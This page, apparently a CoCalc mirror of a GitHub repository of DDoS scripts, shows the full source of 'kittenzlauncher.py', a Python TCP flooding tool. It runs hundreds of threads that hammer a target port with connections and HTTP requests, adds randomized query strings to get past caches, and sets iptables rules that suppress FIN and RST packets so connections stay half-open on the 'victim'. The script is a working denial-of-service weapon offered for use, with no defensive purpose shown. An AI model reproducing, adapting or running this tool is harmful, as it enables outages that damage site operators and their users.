Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/kittenzlauncher.py
4565 views
1
#!/usr/bin/env python
2
import socket
3
from time import sleep
4
from threading import Thread, active_count
5
from os import system, geteuid
6
import random
7
import string
8
import signal
9
import ssl
10
import argparse
11
import sys
12
13
example_text = ''' \nTips: Target page with 1500+ bytes size.
14
15
example:
16
python %s example.com/test.php -p 80 -http
17
python %s example.com/hello/ -p 443 -ssl -http
18
python %s example.com -p 80 -http
19
python %s example.com -p 21 -payload 68656c6c6f
20
python %s example.com -p 22
21
22
Connects - TCP handshakes towards victim
23
Payloads - Recevied payloads by victim
24
Dropped - TCP handshakes or payloads rejected by victim (site down)
25
26
''' % (sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0], sys.argv[0])
27
28
parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawTextHelpFormatter)
29
parser._action_groups.pop()
30
required = parser.add_argument_group('required arguments')
31
optional = parser.add_argument_group('optional arguments')
32
33
required.add_argument('target', help='Specify a target to attack')
34
required.add_argument('-p', dest='port', help='Specify port to attack', type=int, required=True)
35
36
optional.add_argument('-t', dest='THREADS', type=int, default=300, help='Threads, default = 300 threads')
37
optional.add_argument('-ssl', action='store_true', help='Enable SSL')
38
optional.add_argument('-http', action='store_true', help='Enable HTTP headers (only if custom payload not set)')
39
optional.add_argument('-payload', help='Set payload as hex-string')
40
41
42
43
print("\nKittenz launcher.\n")
44
args = parser.parse_args()
45
connected = 0
46
dropped = 0
47
payloads = 0
48
port = args.port
49
50
51
# Sort out http URI in targets
52
target = args.target.replace('http://','').replace('https://','')
53
54
if '/' in target and args.http:
55
path = target[target.find('/'):]
56
target = target[:target.find('/')]
57
else:
58
path = '/'
59
60
61
# Decode custom payload
62
try:
63
if args.payload:
64
payload = args.payload.decode('hex')
65
else:
66
payload = ''
67
except:
68
print('Use hex string format as payload.')
69
sys.exit()
70
71
72
# Check if script is running as root
73
if geteuid() != 0:
74
print("Run %s as root." % sys.argv[0])
75
sys.exit()
76
77
78
# Catch CTRL+C to abort
79
stop = False
80
def signal_handler(signal, frame):
81
global stop
82
stop = True
83
signal.signal(signal.SIGINT, signal_handler)
84
85
86
# String generator for Cache bypassing on load balancers (Random letters in lenght 3 to 8)
87
def string_generator(size=random.randint(3, 8), chars=string.ascii_uppercase + string.ascii_lowercase):
88
return ''.join(random.choice(chars) for _ in range(size))
89
90
91
# Generate HTTP Payload
92
def http_payload():
93
payload = 'GET %s?%s HTTP/1.1\r\n' % (path, string_generator())
94
payload += 'Host: %s\r\n' % target
95
payload += 'User-Agent: Kittenz Launcher!!!\r\n'
96
payload += 'Connection: keep-alive\r\n\r\n'
97
return payload
98
99
100
# DOS function
101
def spam(target_ip, payload):
102
global connected, dropped, payloads
103
while True:
104
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
105
# 2 sec TCP timeout
106
s.settimeout(2)
107
try:
108
s.connect((target_ip, port))
109
connected += 1
110
# Wrap connection with SSL if specified
111
if args.ssl:
112
s = ssl.wrap_socket(s, cert_reqs = ssl.CERT_NONE)
113
if args.http and not args.payload:
114
payload = http_payload()
115
s.send(payload)
116
payloads += 1
117
s.close()
118
except:
119
dropped += 1
120
if stop == True:
121
break
122
123
124
if __name__ == '__main__':
125
target_ip = socket.gethostbyname(target)
126
# add IP tables to drop FIN and RST packets towards TARGET
127
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
128
system('iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))
129
# Fire up threads running spam() function
130
threads = []
131
for i in range(args.THREADS):
132
t = Thread(target=spam, args=(target_ip, payload,))
133
threads.append(t)
134
t.start()
135
136
while True:
137
# Keep going until ctrl+c is pressed
138
if active_count() == 1 or stop == True:
139
# when ctrl+c is pressed, restore IP tables.
140
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %( target_ip, port ))
141
system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %( target_ip, port ))
142
print("")
143
break
144
else:
145
sleep(0.1)
146
sys.stdout.write('Connects: %d, Payloads: %d, Dropped: %d \r' % (connected, payloads, dropped))
147
sys.stdout.flush()
148
149